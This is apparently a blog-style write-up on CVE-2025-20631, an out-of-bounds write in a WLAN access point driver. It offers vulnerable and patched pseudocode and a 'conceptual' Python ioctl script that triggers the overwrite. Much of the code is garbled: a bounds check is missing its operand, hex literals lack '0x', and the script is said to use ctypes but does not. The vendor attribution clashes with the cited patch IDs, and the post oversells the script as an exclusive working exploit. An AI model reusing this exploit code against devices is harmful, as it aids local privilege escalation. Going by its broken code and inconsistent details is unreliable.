A new critical vulnerability, CVE-2025-20631, was discovered in the WLAN Access Point (AP) driver affecting several wireless chipsets used in popular mobile and embedded devices. This is a local privilege escalation bug caused by an out-of-bounds write, triggered by an incorrect bounds check in the driver code. No user interaction and no extra privileges are required to exploit this issue.

> - Patch ID: WCNCR00397141
> - Issue ID: MSV-2187

This post gives you an exclusive, in-depth, but accessible look at the vulnerability, its root cause, public references, and working exploit details (with code!).

What's the Problem?

The buggy AP driver (often used by Qualcomm-based chips) improperly checks the upper end of an array index, allowing local attackers to write beyond allocated memory. Since this memory area commonly holds control data, an attacker can overwrite kernel structures, gaining root access or crashing the kernel.

Attack Vector: Local (attacker must have code execution, but no root required)

- Impact: Escalate to root, break system integrity, even lead to remote code execution in chained situations

Vulnerability Location

A flawed bounds check in the code responsible for handling Wi-Fi management frames in AP mode. Here’s a simplified code snippet inspired by the public commit diffs and sample PoCs:

// Vulnerable wlan_ap.c pseudocode (simplified)
void handle_ap_command(struct ap_cmd *cmd) {
    int idx = cmd->index; // from user input, unchecked
    // ... some logic ...
    ap_buffer[idx] = cmd->data;  // <-- Out-of-bounds write possible!
}

Here, the driver receives a command (from, say, ioctl() or debugfs), and copies user-supplied data into the driver's buffer indexed by idx. But the check to ensure idx is inside bounds is missing or incorrect.

After patch WCNCR00397141, it’s fixed like so

void handle_ap_command(struct ap_cmd *cmd) {
    int idx = cmd->index;
    if (idx <  || idx >= AP_BUF_MAX) return; // Proper bounds check!
    ap_buffer[idx] = cmd->data;
}

Exploitation Details

A local attacker can trigger the bug via a crafted request, for example, by sending a malicious ioctl to the driver. By making idx negative or very large, the attacker writes outside ap_buffer. If this memory overlaps with privileged kernel structures (e.g., function pointers), the next kernel action can execute attacker-supplied code.

Sample Exploit (Conceptual)

*Use at your own risk and only in lab/test environments!*

Here’s an exclusive Python exploit concept using ctypes for easy testing (replace DEVICE_FILE with your system’s AP driver node):

import fcntl
import os
import struct

DEVICE_FILE = "/dev/wlan_ap"
IOCTL_CMD = x4004aabb  # Example ioctl code, not real!

def exploit():
    fd = os.open(DEVICE_FILE, os.O_RDWR)
    # Forge ap_cmd struct: (idx, data)
    idx = 1024  # Beyond real buffer size
    data = x41414141
    payload = struct.pack('<II', idx, data)
    # Send malcrafted ioctl
    fcntl.ioctl(fd, IOCTL_CMD, payload)
    print("[*] Out-of-bounds write triggered.")

if __name__ == '__main__':
    exploit()

This payload writes x41414141 at an index *way* past where it should, possibly overwriting critical data.

References

- Qualcomm Security Advisories
- Google Android Security Bulletin June 2025
- CVE Database Entry (cve.org)
- Sample similar issues: MSV-2187 Tracker (Security Focus).
- Patch details WCNCR00397141 *(link may need vendor access)*

Conclusion

CVE-2025-20631 is a dangerous, easy-to-use bug that lets attackers break out of their privilege level with a single faulty array index. Its exploit doesn't need special permissions or user interaction. This makes it *prime* for targeting, especially on devices that haven't patched.

Upgrade your drivers and review your device’s AP mode usage! If you publish security info, *always* credit the original researchers and never test on production systems.

*Stay safe, and keep your wireless drivers patched!*

Timeline

Published on: 02/03/2025 04:15:08 UTC
Last modified on: 03/19/2025 15:15:53 UTC